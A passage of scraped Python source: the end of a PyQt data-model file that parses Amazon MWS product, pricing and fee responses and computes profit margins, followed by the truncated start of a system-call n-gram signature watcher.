qtc.pyqtSignal()\n description = qp.Property('description', default='', notify=descriptionChanged)\n\n unitPriceChanged = qtc.pyqtSignal()\n @qtc.pyqtProperty(float, notify=unitPriceChanged)\n def unitPrice(self):\n try:\n return self.price / self.quantity\n except (ZeroDivisionError, TypeError):\n return None\n\n marketFeesChanged = qtc.pyqtSignal()\n marketFees = qp.Property('market_fees', default=None, notify=marketFeesChanged)\n\n operationLogChanged = qtc.pyqtSignal()\n operationLog = qp.ListProperty('operation_log',\n default=lambda s: list(),\n default_set=True,\n notify=operationLogChanged)\n\n @qtc.pyqtSlot(qtc.QVariant)\n def addTags(self, tags):\n tags = tags.toVariant() if isinstance(tags, (qtc.QVariant, QtQml.QJSValue)) else tags\n self.tags = list(set(self.tags + list(tags)))\n\n @qtc.pyqtSlot(qtc.QVariant)\n def removeTags(self, tags):\n tags = tags.toVariant() if isinstance(tags, (qtc.QVariant, QtQml.QJSValue)) else tags\n self.tags = list(set(self.tags) - set(tags))\n\n\n########################################################################################################################\n\n\nclass QuantityValidatorData(qp.MapObject):\n __collection__ = 'data'\n\n mapChanged = qtc.pyqtSignal()\n map = qp.Property('map', default=lambda s: dict(), default_set=True, notify=mapChanged)\n\n\n########################################################################################################################\n\n\nclass SupplierLink(qp.MapObjectReference):\n referent_type = 'Product'\n\n # Mirrored values\n priceChanged = qtc.pyqtSignal()\n price = qp.Property('price', default=None, notify=priceChanged)\n\n quantityChanged = qtc.pyqtSignal()\n quantity = qp.Property('quantity', default=None, notify=quantityChanged)\n\n rankChanged = qtc.pyqtSignal()\n rank = qp.Property('rank', default=None, notify=rankChanged)\n\n shipRateChanged = qtc.pyqtSignal()\n shipRate = qp.Property('ship_rate', default=None, notify=shipRateChanged)\n\n vendorIdChanged = qtc.pyqtSignal()\n vendorId = qp.Property('vendor_id', default=None, notify=vendorIdChanged)\n\n def set_ref(self, obj):\n if self.ref is not None:\n self.ref.vendor.refChanged.disconnect(self._set_ship_rate)\n\n super().set_ref(obj)\n\n if obj is not None:\n self.vendorId = obj.vendor.referentId\n self._set_ship_rate()\n obj.vendor.refChanged.connect(self._set_ship_rate)\n else:\n self.vendorId = None\n\n def _set_ship_rate(self):\n if self.ref is not None and self.ref.vendor.ref is not None:\n self.shipRate = self.ref.vendor.ref.shippingRate\n\n\n########################################################################################################################\n\n\nclass MarketLink(qp.MapObjectReference):\n referent_type = 'Product'\n\n # Mirrored values\n priceChanged = qtc.pyqtSignal()\n price = qp.Property('price', default=None, notify=priceChanged)\n\n quantityChanged = qtc.pyqtSignal()\n quantity = qp.Property('quantity', default=None, notify=quantityChanged)\n\n rankChanged = qtc.pyqtSignal()\n rank = qp.Property('rank', default=None, notify=rankChanged)\n\n marketFeesChanged = qtc.pyqtSignal()\n marketFees = qp.Property('market_fees', default=None, notify=marketFeesChanged)\n\n vendorIdChanged = qtc.pyqtSignal()\n vendorId = qp.Property('vendor_id', default=None, notify=vendorIdChanged)\n\n def set_ref(self, obj):\n super().set_ref(obj)\n if obj is not None:\n self.vendorId = obj.vendor.referentId\n else:\n self.vendorId = None\n\n\n########################################################################################################################\n\n\nclass ProfitRelationship(qp.MapObject):\n __collection__ = 'relationships'\n\n marketListingChanged = qtc.pyqtSignal()\n marketListing = qp.MapObjectProperty('market_listing', _type=MarketLink, notify=marketListingChanged)\n\n supplierListingChanged = qtc.pyqtSignal()\n supplierListing = qp.MapObjectProperty('supplier_listing', _type=SupplierLink, notify=supplierListingChanged)\n\n # Calculated properties\n profitChanged = qtc.pyqtSignal()\n profit = qp.Property('profit', default=None, notify=profitChanged)\n\n marginChanged = qtc.pyqtSignal()\n margin = qp.Property('margin', default=None, notify=marginChanged)\n\n roiChanged = qtc.pyqtSignal()\n roi = qp.Property('roi', default=None, notify=roiChanged)\n\n similarityScoreChanged = qtc.pyqtSignal()\n similarityScore = qp.Property('similarity_score', default=None, notify=similarityScoreChanged, read_only=True)\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.marketListing.priceChanged.connect(self.refresh)\n self.marketListing.marketFeesChanged.connect(self.refresh)\n self.marketListing.quantityChanged.connect(self.refresh)\n self.supplierListing.priceChanged.connect(self.refresh)\n self.supplierListing.quantityChanged.connect(self.refresh)\n self.supplierListing.shipRateChanged.connect(self.refresh)\n\n def _all_data_is_valid(self):\n params = (self.marketListing.price,\n self.marketListing.quantity,\n self.marketListing.marketFees or 0,\n self.supplierListing.price,\n self.supplierListing.quantity,\n self.supplierListing.shipRate or 0)\n\n for param in params:\n if param is None\\\n or not isinstance(param, (int, float)):\n return False\n\n if 0 in (params[1], params[4]):\n return False\n\n return True\n\n def refresh(self):\n self._refresh_similarity()\n\n if not self._all_data_is_valid():\n self.profit = None\n self.margin = None\n self.roi = None\n return\n\n market_price = self.marketListing.price\n market_quantity = self.marketListing.quantity\n market_fees = self.marketListing.marketFees or 0\n vendor_price = self.supplierListing.price\n vendor_quantity = self.supplierListing.quantity\n ship_rate = self.supplierListing.shipRate or 0\n\n revenue = market_price - market_fees\n subtotal = (vendor_price / vendor_quantity) * market_quantity\n shipping = ship_rate * subtotal\n\n self.profit = revenue - subtotal - shipping\n\n try:\n self.margin = self.profit / market_price\n except ZeroDivisionError:\n self.margin = None\n\n self.roi = self.profit / (subtotal + shipping)\n\n self.revenueChanged.emit()\n self.subtotalChanged.emit()\n self.estShippingChanged.emit()\n self.estCOGSChanged.emit()\n\n def _refresh_similarity(self):\n if self.marketListing.ref is None\\\n or self.supplierListing.ref is None:\n return\n\n def remove_symbols(s):\n return re.sub(r'[^a-zA-Z0-9 ]', '', s)\n\n def average_partial_ratio(s1, s2):\n sims = (\n fuzz.partial_ratio(s1, s2),\n fuzz.partial_ratio(s2, s1)\n )\n return sum(sims)/len(sims)\n\n market = self.marketListing.ref\n supplier = self.supplierListing.ref\n scores = []\n\n brand_m = remove_symbols(market.brand.lower().strip()) if isinstance(market.brand, str) else None\n brand_s = remove_symbols(supplier.brand.lower().strip()) if isinstance(supplier.brand, str) else None\n\n model_m = remove_symbols(market.model.lower().strip()) if isinstance(market.model, str) else None\n model_s = remove_symbols(supplier.model.lower().strip()) if isinstance(supplier.model, str) else None\n\n title_m = remove_symbols(market.title.lower().strip()) if isinstance(market.title, str) else None\n title_s = remove_symbols(supplier.title.lower().strip()) if isinstance(supplier.title, str) else None\n\n brand_scores = []\n if brand_m and brand_s:\n brand_scores.append(average_partial_ratio(brand_m, brand_s))\n elif brand_m and title_s:\n brand_scores.append(fuzz.partial_ratio(brand_m, title_s))\n elif brand_s and title_m:\n brand_scores.append(fuzz.partial_ratio(brand_s, title_m))\n\n if brand_scores:\n scores.append(max(brand_scores))\n\n model_scores = []\n if model_m and model_s:\n model_scores.append(average_partial_ratio(model_m, model_s))\n elif model_m and title_s:\n model_scores.append(fuzz.partial_ratio(model_m, title_s))\n elif model_s and title_m:\n model_scores.append(fuzz.partial_ratio(model_s, title_m))\n\n if model_scores:\n scores.extend((max(model_scores), max(model_scores)))\n\n if title_m and title_s:\n scores.append(fuzz.token_set_ratio(title_m, title_s))\n\n self['similarity_score'] = sum(scores) / len(scores) / 100 if scores else None\n self.similarityScoreChanged.emit()\n\n\n revenueChanged = qtc.pyqtSignal()\n @qtc.pyqtProperty(qtc.QVariant, notify=revenueChanged)\n def revenue(self):\n try:\n return self.marketListing.price - (self.marketListing.marketFees or 0)\n except TypeError:\n return None\n\n subtotalChanged = qtc.pyqtSignal()\n @qtc.pyqtProperty(qtc.QVariant, notify=subtotalChanged)\n def subtotal(self):\n try:\n return (self.supplierListing.price / self.supplierListing.quantity) * self.marketListing.quantity\n except TypeError:\n return None\n\n estShippingChanged = qtc.pyqtSignal()\n @qtc.pyqtProperty(qtc.QVariant, notify=estShippingChanged)\n def estShipping(self):\n try:\n return self.subtotal * self.supplierListing.shipRate\n except TypeError:\n return None\n\n estCOGSChanged = qtc.pyqtSignal()\n @qtc.pyqtProperty(qtc.QVariant, notify=estCOGSChanged)\n def estCOGS(self):\n try:\n return self.subtotal + self.estShipping\n except TypeError:\n return self.subtotal\n\n\n########################################################################################################################\n\n\nclass APICall(qp.MapObject):\n __collection__ = 'apicalls'\n\n api = NotImplemented\n action = NotImplemented\n\n finished = qtc.pyqtSignal()\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self.finished.connect(self.parse_response)\n if 'rawResponse' in kwargs:\n self.parse_response()\n\n parametersChanged = qtc.pyqtSignal()\n parameters = qp.Property('parameters', default=None, notify=parametersChanged)\n\n rawResponseChanged = qtc.pyqtSignal()\n rawResponse = qp.Property('raw_response', default=None, notify=rawResponseChanged)\n\n errorCodeChanged = qtc.pyqtSignal()\n errorCode = qp.Property('error_code', default=None, notify=errorCodeChanged)\n\n errorMessageChanged = qtc.pyqtSignal()\n errorMessage = qp.Property('error_message', default=None, notify=errorMessageChanged)\n\n succeededChanged = qtc.pyqtSignal()\n succeeded = qp.Property('succeeded', default=None, notify=succeededChanged)\n\n isValidResponseChanged = qtc.pyqtSignal()\n isValidResponse = qp.Property('is_valid', default=None, notify=isValidResponseChanged)\n\n isErrorResponseChanged = qtc.pyqtSignal()\n isErrorResponse = qp.Property('is_error', default=None, notify=isErrorResponseChanged)\n\n def parse_response(self):\n \"\"\"Called to parse rawResponse.\"\"\"\n\n\n########################################################################################################################\n\n\nclass AmazonMWSCall(APICall):\n api = 'AmazonMWS'\n\n @staticmethod\n def remove_namespaces(xml):\n \"\"\"Removes all traces of namespaces from an XML string.\"\"\"\n re_ns_decl = re.compile(r' xmlns(:\\w*)?=\"[^\"]*\"', re.IGNORECASE)\n re_ns_open = re.compile(r'<\\w+:')\n re_ns_close = re.compile(r'/\\w+:')\n\n response = re_ns_decl.sub('', xml) # Remove namespace declarations\n response = re_ns_open.sub('<', response) # Remove namespaces in opening tags\n response = re_ns_close.sub('/', response) # Remove namespaces in closing tags\n return response\n\n @staticmethod\n def xpath_get(tag, path, _type=str, default=None):\n try:\n data = tag.xpath(path)[0].text\n return _type(data)\n except (IndexError, ValueError, TypeError):\n return default\n\n\n########################################################################################################################\n\n\nclass GetServiceStatus(AmazonMWSCall):\n action = 'GetServiceStatus'\n quota_max = 2\n restore_rate = 30\n hourly_max = 12\n\n statusChanged = qtc.pyqtSignal()\n status = qp.Property('status', default=None, notify=statusChanged)\n\n def parse_response(self):\n xml = self.remove_namespaces(self.rawResponse)\n tree = etree.fromstring(xml)\n\n self.status = tree.xpath('.//Status')[0].text\n self.succeeded = True\n\n\n########################################################################################################################\n\n\nclass ListMatchingProducts(AmazonMWSCall):\n action = 'ListMatchingProducts'\n quota_max = 20\n restore_rate = 5\n hourly_max = 720\n\n parametersChanged = qtc.pyqtSignal()\n parameters = qp.Property('parameters',\n notify=parametersChanged,\n default_set=True,\n default=lambda s: dict(MarketplaceId='ATVPDKIKX0DER', Query=''))\n\n productsChanged = qtc.pyqtSignal()\n products = qp.ListProperty('products', notify=productsChanged)\n\n queryChanged = qtc.pyqtSignal()\n @qtc.pyqtProperty(str, notify=queryChanged)\n def query(self):\n return self.parameters['Query']\n\n @query.setter\n def query(self, value):\n self.parameters['Query'] = str(value)\n self.queryChanged.emit()\n\n def parse_response(self):\n xml = self.remove_namespaces(self.rawResponse)\n xpath_get = AmazonMWSCall.xpath_get\n products = []\n try:\n tree = etree.fromstring(xml)\n except Exception as e:\n self.errorMessage = str(e)\n self.succeeded = False\n return\n\n if tree.xpath('Error'):\n self.errorMessage = tree.xpath('.//Error/Message')[0].text\n self.succeeded = False\n return\n\n for tag in tree.iterdescendants('Product'):\n product = dict()\n\n product['sku'] = xpath_get(tag, './Identifiers/MarketplaceASIN/ASIN')\n product['brand'] = xpath_get(tag, './/Brand')\\\n or xpath_get(tag, './/Manufacturer')\\\n or xpath_get(tag, './/Label')\\\n or xpath_get(tag, './/Publisher')\\\n or xpath_get(tag, './/Studio')\n product['model'] = xpath_get(tag, './/Model')\\\n or xpath_get(tag, './/PartNumber')\n product['price'] = xpath_get(tag, './/ListPrice/Amount', _type=float)\n product['NumberOfItems'] = xpath_get(tag, './/NumberOfItems', _type=int)\n product['PackageQuantity'] = xpath_get(tag, './/PackageQuantity', _type=int)\n product['image_url'] = xpath_get(tag, './/SmallImage/URL')\n product['title'] = xpath_get(tag, './/Title')\n\n for rank_tag in tag.iterdescendants('SalesRank'):\n if not rank_tag.xpath('./ProductCategoryId')[0].text.isdigit():\n product['category'] = xpath_get(rank_tag, './ProductCategoryId')\n product['rank'] = xpath_get(rank_tag, './Rank', _type=int)\n break\n\n product['description'] = '\\n'.join([t.text for t in tag.iterdescendants('Feature')]) or None\n\n products.append({k: v for k, v in product.items() if v is not None})\n\n self.products = products\n self.succeeded = True\n\n\n########################################################################################################################\n\n\nclass GetMatchingProductForId(AmazonMWSCall):\n action = 'GetMatchingProductForId'\n quota_max = 20\n restore_rate = 0.2\n hourly_max = 18000\n\n parametersChanged = qtc.pyqtSignal()\n parameters = qp.Property('parameters',\n default=lambda s: dict(MarketplaceId='ATVPDKIKX0DER', IdType='ASIN', IdList=['']),\n default_set=True,\n notify=parametersChanged)\n\n asinsChanged = qtc.pyqtSignal()\n @qtc.pyqtProperty(list, notify=asinsChanged)\n def asins(self):\n return self.parameters['IdList']\n\n @asins.setter\n def asins(self, values):\n self.parameters['IdList'] = values\n self.asinsChanged.emit()\n\n productsChanged = qtc.pyqtSignal()\n products = qp.ListProperty('products', default=lambda s: list(), default_set=True, notify=productsChanged)\n\n def parse_response(self):\n xml = self.remove_namespaces(self.rawResponse)\n xpath_get = AmazonMWSCall.xpath_get\n products = []\n try:\n tree = etree.fromstring(xml)\n except Exception as e:\n self.errorMessage = str(e)\n self.succeeded = False\n return\n\n for result_tag in tree.iterdescendants('GetMatchingProductForIdResult'):\n product = {}\n\n # Check that the request for this ID succeeded\n if result_tag.attrib.get('status') != 'Success':\n product['sku'] = result_tag.attrib.get('Id')\n product['error'] = xpath_get(result_tag, './/Error/Message')\n products.append(product)\n continue\n\n product['sku'] = xpath_get(result_tag, './/Product/Identifiers/MarketplaceASIN/ASIN')\n product['brand'] = xpath_get(result_tag, './/Brand') \\\n or xpath_get(result_tag, './/Manufacturer') \\\n or xpath_get(result_tag, './/Label') \\\n or xpath_get(result_tag, './/Publisher') \\\n or xpath_get(result_tag, './/Studio')\n product['model'] = xpath_get(result_tag, './/Model') \\\n or xpath_get(result_tag, './/MPN') \\\n or xpath_get(result_tag, './/PartNumber')\n product['price'] = xpath_get(result_tag, './/ListPrice/Amount', _type=float)\n product['NumberOfItems'] = xpath_get(result_tag, './/NumberOfItems', _type=int)\n product['PackageQuantity'] = xpath_get(result_tag, './/PackageQuantity', _type=int)\n product['image_url'] = xpath_get(result_tag, './/SmallImage/URL')\n product['title'] = xpath_get(result_tag, './/Title')\n product['description'] = '\\n'.join([t.text for t in result_tag.iterdescendants('Feature')]) or None\n product['detail_page_url'] = 'http://www.amazon.com/dp/' + product['sku']\n\n for rank_tag in result_tag.iterdescendants('SalesRank'):\n if not rank_tag.xpath('./ProductCategoryId')[0].text.isdigit():\n product['category'] = xpath_get(rank_tag, './ProductCategoryId')\n product['rank'] = xpath_get(rank_tag, './Rank', _type=int)\n break\n\n product = {k: v for k, v in product.items() if v is not None}\n products.append(product)\n\n self.products = products\n\n # If at least one ID succeeded, mark the API call as succeeded\n if [1 for p in products if 'error' not in p] and len(products):\n self.succeeded = True\n else:\n self.errorMessage = xpath_get(tree, './/Error/Message')\n self.succeeded = False\n\n\n########################################################################################################################\n\n\nclass GetCompetitivePricingForASIN(AmazonMWSCall):\n action = 'GetCompetitivePricingForASIN'\n quota_max = 20\n restore_rate = 0.1\n hourly_max = 36000\n\n parametersChanged = qtc.pyqtSignal()\n parameters = qp.Property('parameters',\n default=lambda s: dict(MarketplaceId='ATVPDKIKX0DER', ASINList=[]),\n default_set=True,\n notify=parametersChanged)\n\n asinsChanged = qtc.pyqtSignal()\n @qtc.pyqtProperty(list, notify=asinsChanged)\n def asins(self):\n return self.parameters['ASINList']\n\n @asins.setter\n def asins(self, values):\n self.parameters['ASINList'] = list(values)\n self.parametersChanged.emit()\n\n pricesChanged = qtc.pyqtSignal()\n prices = qp.ListProperty('prices', default=lambda s: list(), default_set=True, notify=pricesChanged)\n\n def parse_response(self):\n xml = self.remove_namespaces(self.rawResponse)\n xpath_get = AmazonMWSCall.xpath_get\n prices = []\n try:\n tree = etree.fromstring(xml)\n except Exception as e:\n self.errorMessage = str(e)\n self.succeeded = False\n return\n\n for result_tag in tree.iterdescendants('GetCompetitivePricingForASINResult'):\n price = {}\n\n # Check that the request for this ASIN succeeded\n if result_tag.attrib.get('status') != 'Success':\n price['sku'] = result_tag.attrib.get('ASIN')\n price['error'] = xpath_get(result_tag, './/Error/Message')\n prices.append(price)\n continue\n\n price['sku'] = xpath_get(result_tag, './/MarketplaceASIN/ASIN')\n\n for price_tag in result_tag.iterdescendants('CompetitivePrice'):\n if price_tag.attrib.get('condition') != 'New':\n continue\n\n price['listing_price'] = xpath_get(price_tag, './/ListingPrice/Amount', _type=float)\n price['shipping'] = xpath_get(price_tag, './/Shipping/Amount', _type=float)\n price['landed_price'] = xpath_get(price_tag, './/LandedPrice/Amount', _type=float)\n\n for count_tag in result_tag.iterdescendants('OfferListingCount'):\n if count_tag.attrib.get('condition') == 'New':\n price['offers'] = count_tag.text\n else:\n if 'offers' not in price:\n price['offers'] = 0\n\n prices.append(price)\n\n self.prices = prices\n\n # If at least one ID succeeded, mark the api call as a success\n if [1 for p in prices if 'error' not in p] and len(prices):\n self.succeeded = True\n else:\n self.errorMessage = xpath_get(tree, './/Error/Message')\n self.succeeded = False\n\n def update_product(self, product):\n sku = product.sku\n try:\n price_group = [pg for pg in self.prices if pg['sku'] == sku][0]\n except (KeyError, IndexError):\n return False\n\n landed_price = price_group.get('landed_price', None)\n list_price = price_group.get('listing_price', None)\n shipping = price_group.get('shipping', 0)\n\n if landed_price is not None:\n product.price = landed_price\n elif list_price is not None:\n product.price = list_price + shipping\n\n return True\n\n @qtc.pyqtSlot(Product, result=bool)\n def updateProduct(self, product):\n return self.update_product(product)\n\n\n########################################################################################################################\n\n\nclass GetMyFeesEstimate(AmazonMWSCall):\n action = 'GetMyFeesEstimate'\n quota_max = 20\n restore_rate = 0.1\n hourly_max = 36000\n\n parametersChanged = qtc.pyqtSignal()\n parameters = qp.Property('parameters',\n default=lambda s: {'FeesEstimateRequestList': []},\n default_set=True,\n notify=parametersChanged)\n\n asinsChanged = qtc.pyqtSignal()\n @qtc.pyqtProperty(list, notify=asinsChanged)\n def asins(self):\n return [req['IdValue'] for req in self.parameters['FeesEstimateRequestList']]\n\n @asins.setter\n def asins(self, values):\n self.parameters['FeesEstimateRequestList'] = [\n {\n 'MarketplaceId': 'ATVPDKIKX0DER',\n 'IdType': 'ASIN',\n 'IdValue': asin,\n 'IsAmazonFulfilled': 'true',\n 'Identifier': 'request1',\n 'PriceToEstimateFees.ListingPrice.CurrencyCode': 'USD',\n 'PriceToEstimateFees.ListingPrice.Amount': 0\n }\n for asin in values\n ]\n\n self.asinsChanged.emit()\n\n pricesChanged = qtc.pyqtSignal()\n @qtc.pyqtProperty(list, notify=pricesChanged)\n def prices(self):\n return [req['PriceToEstimateFees.ListingPrice.Amount'] for req in self.parameters]\n\n @prices.setter\n def prices(self, values):\n for idx, price in enumerate(values):\n self.parameters['FeesEstimateRequestList'][idx]['PriceToEstimateFees.ListingPrice.Amount'] = price\n\n self.pricesChanged.emit()\n\n feeTotalsChanged = qtc.pyqtSignal()\n feeTotals = qp.ListProperty('fee_totals', default=lambda s: list(), default_set=True, notify=feeTotalsChanged)\n\n def parse_response(self):\n xml = self.remove_namespaces(self.rawResponse)\n try:\n tree = etree.fromstring(xml)\n except Exception as e:\n self.errorMessage = str(e)\n self.succeeded = False\n return\n\n xpath_get = AmazonMWSCall.xpath_get\n\n totals = []\n\n for result_tag in tree.iterdescendants('FeesEstimateResult'):\n total = {'sku': xpath_get(result_tag, './/IdValue')}\n\n if xpath_get(result_tag, './Status') != 'Success':\n total['error'] = xpath_get(result_tag, './/Error/Message')\n totals.append(total)\n continue\n\n total['market_fees'] = xpath_get(result_tag, './/TotalFeesEstimate/Amount', _type=float)\n totals.append(total)\n\n self.feeTotals = totals\n\n if [1 for t in totals if 'error' not in t] and len(totals):\n self.succeeded = True\n else:\n self.errorMessage = xpath_get(tree, './/Error/Message')\n self.succeeded = False\n\n\n########################################################################################################################\n\n\nclass ItemLookup(AmazonMWSCall):\n action = 'ItemLookup'\n\n parametersChanged = qtc.pyqtSignal()\n parameters = qp.Property('parameters',\n default=lambda s: dict(ItemId='', ResponseGroup='Images,ItemAttributes,OfferFull,SalesRank'\n ',EditorialReview'),\n default_set=True,\n notify=parametersChanged)\n\n asinsChanged = qtc.pyqtSignal()\n @qtc.pyqtProperty(list, notify=asinsChanged)\n def asins(self):\n return [asin.strip() for asin in self.parameters['ItemId'].split(',')]\n\n @asins.setter\n def asins(self, values):\n self.parameters['ItemId'] = ','.join(values)\n self.asinsChanged.emit()\n\n productsChanged = qtc.pyqtSignal()\n products = qp.ListProperty('products', default=lambda s: list(), default_set=True, notify=productsChanged)\n\n def parse_response(self):\n xml = self.remove_namespaces(self.rawResponse)\n xpath_get = AmazonMWSCall.xpath_get\n products = []\n try:\n tree = etree.fromstring(xml)\n except Exception as e:\n self.errorMessage = str(e)\n self.succeeded = False\n return\n\n for error_tag in tree.iterdescendants('Error'):\n message = xpath_get(error_tag, './/Message')\n try: asin = [asin for asin in self.asins if asin in message][0]\n except IndexError: continue\n products.append({'sku': asin, 'error': message})\n\n for item_tag in tree.iterdescendants('Item'):\n product = {}\n product['sku'] = xpath_get(item_tag, './/ASIN')\n product['detail_page_url'] = f'http://www.amazon.com/dp/{product[\"sku\"]}'\n product['rank'] = xpath_get(item_tag, './/SalesRank', _type=int)\n product['image_url'] = xpath_get(item_tag, './/LargeImage/URL')\n product['brand'] = xpath_get(item_tag, './/Brand')\\\n or xpath_get(item_tag, './/Manufacturer')\\\n or xpath_get(item_tag, './/Label')\\\n or xpath_get(item_tag, './/Publisher')\\\n or xpath_get(item_tag, './/Studio')\n product['model'] = xpath_get(item_tag, './/Model')\\\n or xpath_get(item_tag, './/MPN')\\\n or xpath_get(item_tag, './/PartNumber')\n product['NumberOfItems'] = xpath_get(item_tag, './/NumberOfItems', _type=int)\n product['PackageQuantity'] = xpath_get(item_tag, './/PackageQuantity', _type=int)\n product['title'] = xpath_get(item_tag, './/Title')\n product['upc'] = xpath_get(item_tag, './/UPC')\n price = xpath_get(item_tag, './/LowestNewPrice/Amount', _type=float)\n product['price'] = price / 100 if price is not None else None\n product['merchant'] = xpath_get(item_tag, './/Merchant')\n product['prime'] = xpath_get(item_tag, './/IsEligibleForPrime')\n product['features'] = '\\n'.join([t.text for t in item_tag.iterdescendants('Feature')]) or None\n product['description'] = xpath_get(item_tag, './/EditorialReview/Content')\n product = {k:v for k, v in product.items() if v is not None}\n\n products.append(product)\n\n self.products = products\n self.succeeded = True\n\n def update_product(self, product, except_price=False):\n sku = product.sku\n try:\n update = dict([p for p in self.products if p['sku'] == sku][0])\n except (KeyError, IndexError):\n return False\n\n if except_price:\n update.pop('price', None)\n\n product.update(update)\n return True\n\n @qtc.pyqtSlot(Product, result=bool)\n def updateProduct(self, product):\n return self.update_product(product)\n\n\n########################################################################################################################\n\n\nclass ProductHistory(qp.MapObject):\n __collection__ = 'product_history'\n\n productChanged = qtc.pyqtSignal()\n product = qp.MapObjectProperty('product', _type=qp.MapObjectReference, notify=productChanged)\n\n historyChanged = qtc.pyqtSignal()\n history = qp.ListProperty('history', default=lambda s: list(), default_set=True, notify=historyChanged)\n\n def __init__(self, *args, **kwargs):\n super().__init__(*args, **kwargs)\n self._daterange_min = None\n self._daterange_max = None\n self._rank_points = []\n self._price_points = []\n self._min_datetime = None\n self._max_datetime = None\n self._min_rank = None\n self._max_rank = None\n self._min_price = None\n self._max_price = None\n self._avg_rank = None\n self._avg_price = None\n self.refresh()\n\n @qtc.pyqtSlot()\n def refresh(self):\n points = (p for p in self.history)\n\n if self._daterange_min:\n points = (p for p in points if p['timestamp'] >= self._daterange_min)\n if self._daterange_max:\n points = (p for p in points if p['timestamp'] <= self._daterange_max)\n\n rank_points = []\n price_points = []\n min_datetime = None\n max_datetime = None\n min_rank = 0\n max_rank = 0\n min_price = 0\n max_price = 0\n rank_total, rank_count = 0, 0\n price_total, price_count = 0, 0\n\n for p in points:\n time_dt = p['timestamp']\n time_ms = time_dt.timestamp() * 1000\n\n if min_datetime is None or time_dt < min_datetime:\n min_datetime = time_dt\n if max_datetime is None or time_dt > max_datetime:\n max_datetime = time_dt\n\n rank = p.get('rank', None)\n if rank is not None:\n rank_points.append({'x': time_ms, 'y': rank})\n min_rank = rank if rank < min_rank else min_rank\n max_rank = rank if rank > max_rank else max_rank\n rank_total += rank\n rank_count += 1\n\n price = p.get('price', None)\n if price is not None:\n price_points.append({'x': time_ms, 'y': price})\n min_price = price if price < min_price else min_price\n max_price = price if price > max_price else max_price\n price_total += price\n price_count += 1\n\n self._min_datetime = min_datetime\n self._max_datetime = max_datetime\n\n self._rank_points = rank_points\n if rank_points:\n self._min_rank = min_rank\n self._max_rank = max_rank\n self._avg_rank = int(round(rank_total / rank_count, 0))\n else:\n self._min_rank = None\n self._max_rank = None\n self._avg_rank = None\n\n self._price_points = price_points\n if price_points:\n self._min_price = min_price\n self._max_price = max_price\n self._avg_price = price_total / price_count\n else:\n self._min_price = None\n self._max_price = None\n self._avg_price = None\n\n self.minDateTimeChanged.emit()\n self.maxDateTimeChanged.emit()\n\n self.rankPointsChanged.emit()\n self.minRankChanged.emit()\n self.maxRankChanged.emit()\n self.averageRankChanged.emit()\n\n self.pricePointsChanged.emit()\n self.minPriceChanged.emit()\n self.maxPriceChanged.emit()\n self.averagePriceChanged.emit()\n\n def add_to_history(self, product):\n \"\"\"Adds the current state of product to the product history.\"\"\"\n now = datetime.now(tz=get_localzone())\n\n self.history.append(\n {\n 'timestamp': now,\n 'rank': product.rank,\n 'price': product.price,\n }\n )\n\n minDateTimeChanged = qtc.pyqtSignal()\n @qtc.pyqtProperty(qtc.QVariant, notify=minDateTimeChanged)\n def minDateTime(self):\n return qtc.QDateTime(self._min_datetime) if self._min_datetime else None\n\n maxDateTimeChanged = qtc.pyqtSignal()\n @qtc.pyqtProperty(qtc.QVariant, notify=maxDateTimeChanged)\n def maxDateTime(self):\n return qtc.QDateTime(self._max_datetime) if self._max_datetime else None\n\n @qtc.pyqtSlot(qtc.QVariant, qtc.QVariant)\n def setDateRange(self, min_date, max_date):\n if isinstance(min_date, qtc.QDateTime):\n min_date = min_date.toPyDateTime().replace(tzinfo=get_localzone())\n if isinstance(max_date, qtc.QDateTime):\n max_date = max_date.toPyDateTime().replace(tzinfo=get_localzone())\n\n self._daterange_min = min_date\n self._daterange_max = max_date\n\n self.refresh()\n\n rankPointsChanged = qtc.pyqtSignal()\n @qtc.pyqtProperty(qtc.QVariant, notify=rankPointsChanged)\n def rankPoints(self):\n return self._rank_points\n\n minRankChanged = qtc.pyqtSignal()\n @qtc.pyqtProperty(qtc.QVariant, notify=minRankChanged)\n def minRank(self):\n return self._min_rank\n\n maxRankChanged = qtc.pyqtSignal()\n @qtc.pyqtProperty(qtc.QVariant, notify=maxRankChanged)\n def maxRank(self):\n return self._max_rank\n\n averageRankChanged = qtc.pyqtSignal()\n @qtc.pyqtProperty(qtc.QVariant, notify=averageRankChanged)\n def averageRank(self):\n return self._avg_rank\n\n pricePointsChanged = qtc.pyqtSignal()\n @qtc.pyqtProperty(qtc.QVariant, notify=pricePointsChanged)\n def pricePoints(self):\n return self._price_points\n\n minPriceChanged = qtc.pyqtSignal()\n @qtc.pyqtProperty(qtc.QVariant, notify=minPriceChanged)\n def minPrice(self):\n return self._min_price\n\n maxPriceChanged = qtc.pyqtSignal()\n @qtc.pyqtProperty(qtc.QVariant, notify=maxPriceChanged)\n def maxPrice(self):\n return self._max_price\n\n averagePriceChanged = qtc.pyqtSignal()\n @qtc.pyqtProperty(qtc.QVariant, notify=averagePriceChanged)\n def averagePrice(self):\n return self._avg_price","repo_name":"garrettmk/Miranda","sub_path":"models.py","file_name":"models.py","file_ext":"py","file_size_in_byte":40066,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"29"} +{"seq_id":"17564151119","text":"import os\nimport sys\nimport unittest\n\nfrom syde.sigmaker import NGRAM_NUMBER\nfrom syde.sigmaker import traverse\nfrom syde.sigmaker import _add_signatures\n\n\nclass Watcher:\n def __init__(self, signatures):\n self._signatures = signatures\n\n self._backlog = []\n self._stats = {'unknown': 0}\n self._total_predictions = 0\n\n def update(self, parsed_strace_calls: list):\n if len(self._backlog) + len(parsed_strace_calls) < NGRAM_NUMBER:\n self._backlog += parsed_strace_calls\n return\n\n scalls = list(filter(lambda el: el['type'] == 'call', parsed_strace_calls))\n scalls = list(map(lambda el: el['call_name'], scalls))\n\n scalls = self._backlog + scalls\n\n for i in range(len(scalls) - NGRAM_NUMBER + 1):\n window = scalls[i:i+NGRAM_NUMBER]\n labels = traverse(self._signatures, window)\n\n if labels == set():\n self._stats['unknown'] += 1\n\n for label in list(labels):\n self._stats[label] = self._stats.get(label, 0) + 1\n\n self._total_predictions += 1\n\n self._backlog = scalls[-NGRAM_NUMBER:]\n\n def report(self):\n if self._total_predictions == 0:\n return ''\n\n top_5 = self._top_5()\n strs = [f'epoch no: {self._total_predictions}'] + list(map(lambda el: '{0:10}: %{1:.2f}'.format(el[0], el[1]), top_5))\n return '\\n'.join(strs)\n\n def best_guess(self):\n if self._total_predictions == 0:\n return ''\n\n bg = 